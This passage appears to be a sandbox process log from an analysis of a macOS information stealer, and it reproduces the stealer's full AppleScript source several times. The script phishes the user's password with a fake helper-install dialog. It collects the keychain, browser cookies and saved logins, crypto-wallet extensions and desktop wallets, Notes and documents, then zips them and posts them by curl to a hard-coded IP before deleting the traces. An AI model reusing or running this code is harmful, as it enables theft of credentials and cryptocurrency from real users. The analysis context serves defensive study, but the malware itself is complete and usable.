lkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"1⤵PID:640
-
/usr/bin/osascriptosascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)"1⤵PID:640
-
/usr/libexec/xpcproxyxpcproxy com.apple.ReportMemoryException1⤵PID:641
-
/usr/libexec/ReportMemoryException/usr/libexec/ReportMemoryException1⤵PID:641
-
/bin/shsh -c "dscl . authonly 'run' 'root'"1⤵PID:643
-
/bin/bashsh -c "dscl . authonly 'run' 'root'"1⤵PID:643
-
/usr/bin/dscldscl . authonly run root1⤵PID:643
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:644
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:644
-
/bin/mkdirmkdir -p /var/tmp/xuyna1⤵PID:644
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:645
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:645
-
/bin/mkdirmkdir -p /var/tmp/xuyna1⤵PID:645
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:646
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:646
-
/bin/mkdirmkdir -p /var/tmp/xuyna1⤵PID:646
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:647
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:647
-
/bin/mkdirmkdir -p /var/tmp/xuyna/Chromium/Chrome_Default1⤵PID:647
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:648
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:648
-
/bin/mkdirmkdir -p /var/tmp/xuyna/Chromium/Chrome_Default1⤵PID:648
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:649
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:649
-
/bin/mkdirmkdir -p /var/tmp/xuyna/Chromium/Chrome_Default1⤵PID:649
-
/bin/shsh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"1⤵PID:650
-
/bin/bashsh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"1⤵PID:650
-
/usr/sbin/system_profilersystem_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType1⤵PID:650
-
/usr/bin/csrutil/usr/bin/csrutil status1⤵PID:652
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:655
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:655
-
/bin/mkdirmkdir -p /var/tmp/xuyna1⤵PID:655
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna/FileGrabber/'"1⤵PID:656
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna/FileGrabber/'"1⤵PID:656
-
/bin/mkdirmkdir -p /var/tmp/xuyna/FileGrabber/1⤵PID:656
-
/usr/libexec/xpcproxyxpcproxy com.apple.DesktopServicesHelper.E5357667-D507-4444-9A51-20B7AC57129F1⤵PID:659
-
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper1⤵PID:659
-
/bin/shsh -c "dscl . authonly 'root' ''"1⤵PID:660
-
/bin/bashsh -c "dscl . authonly 'root' ''"1⤵PID:660
-
/usr/bin/dscldscl . authonly root1⤵PID:660
-
/usr/libexec/xpcproxyxpcproxy com.apple.DesktopServicesHelper.8DC7EADA-3528-4D3F-A93C-6A2F33EB22211⤵PID:661
-
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper1⤵PID:661
-
/usr/libexec/xpcproxyxpcproxy com.apple.DesktopServicesHelper.661C960B-3CA9-43A0-B62C-82FB7ED7A4461⤵PID:662
-
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper1⤵PID:662
-
/bin/shsh -c "ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip"1⤵PID:663
-
/bin/bashsh -c "ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip"1⤵PID:663
-
/usr/bin/dittoditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip1⤵PID:663
-
/bin/shsh -c "curl -X POST -H \"uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" -H \"user: october\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p"1⤵PID:664
-
/bin/bashsh -c "curl -X POST -H \"uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" -H \"user: october\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p"1⤵PID:664
-
/usr/bin/curlcurl -X POST -H "uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef" -H "user: october" --data-binary "@/var/tmp/out.zip" http://185.172.128.123/p2p1⤵PID:664
-
/bin/shsh -c "rm -r /var/tmp/xuyna/"1⤵PID:665
-
/bin/bashsh -c "rm -r /var/tmp/xuyna/"1⤵PID:665
-
/bin/rmrm -r /var/tmp/xuyna/1⤵PID:665
-
/bin/shsh -c "rm /var/tmp/out.zip"1⤵PID:666
-
/bin/bashsh -c "rm /var/tmp/out.zip"1⤵PID:666
-
/bin/rmrm /var/tmp/out.zip1⤵PID:666
-
/usr/libexec/xpcproxyxpcproxy com.apple.ReportCrash.Root1⤵PID:667
-
/System/Library/CoreServices/ReportCrash/System/Library/CoreServices/ReportCrash daemon1⤵PID:667
-
/usr/libexec/xpcproxyxpcproxy com.apple.ReportMemoryException1⤵PID:668
-
/usr/libexec/ReportMemoryException/usr/libexec/ReportMemoryException1⤵PID:668
-
/usr/bin/loginlogin -pf run1⤵PID:669
-
/bin/zsh-zsh2⤵PID:670
-
/usr/libexec/path_helper/usr/libexec/path_helper -s3⤵PID:671
-
-
/usr/bin/localelocale LC_CTYPE3⤵PID:672
-
-
/bin/lsls3⤵PID:673
-
-
/usr/bin/openopen Application3⤵PID:675
-
-
/bin/lsls3⤵PID:707
-
-
/bin/lsls3⤵PID:708
-
-
-
/bin/shsh -c "dscl . authonly 'root' ''"1⤵PID:674
-
/bin/bashsh -c "dscl . authonly 'root' ''"1⤵PID:674
-
/usr/bin/dscldscl . authonly root1⤵PID:674
-
/usr/libexec/xpcproxyxpcproxy com.apple.quicklook.ui.helper1⤵PID:676
-
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper1⤵PID:676
-
/usr/bin/loginlogin -pf run1⤵PID:677
-
/bin/zsh-zsh2⤵PID:678
-
/usr/libexec/path_helper/usr/libexec/path_helper -s3⤵PID:679
-
-
/usr/bin/localelocale LC_CTYPE3⤵PID:680
-
-
/Users/run/Application/AppleApp/Users/run/Application/AppleApp3⤵PID:681
-
-
-
/bin/shsh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"1⤵PID:683
-
/bin/bashsh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"1⤵PID:683
-
/usr/bin/osascriptosascript -e "tell application \"Terminal\" to close first window"2⤵PID:684
-
-
/bin/shsh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem 